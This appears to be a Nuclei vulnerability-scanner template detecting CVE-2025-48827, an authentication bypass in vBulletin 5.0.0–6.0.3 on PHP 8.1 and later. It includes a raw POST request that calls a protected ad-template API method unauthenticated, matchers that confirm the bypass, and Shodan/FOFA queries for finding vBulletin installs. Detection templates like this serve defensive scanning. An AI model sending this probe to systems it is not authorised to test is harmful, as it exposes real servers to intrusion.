vBulletin 5.0.0-6.0.3 - Authentication Bypass

id: CVE-2025-48827

info:
  name: vBulletin 5.0.0-6.0.3 - Authentication Bypass
  author: pszyszkowski
  severity: critical
  description: |
    vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.
  impact: |
    Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
  remediation: |
    Upgrade to vBulletin 6.0.4+ before upgrading to PHP 8.1.
  reference:
    - https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48827
  classification:
    epss-score: 0.75638
    epss-percentile: 0.99524
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-48827
    cwe-id: CWE-424
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    fofa-query: app="vBulletin"
    shodan-query: http.component:"vBulletin"
  tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln

variables:
  rand_string: "{{to_lower(rand_base(5))}}"
  rand_value: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /ajax/api/ad/wrapAdTemplate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        template={{rand_string}}&id_name={{rand_value}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains_all(body,'<div class=','ad_{{rand_value}}_inner','{{rand_string}}')
        condition: and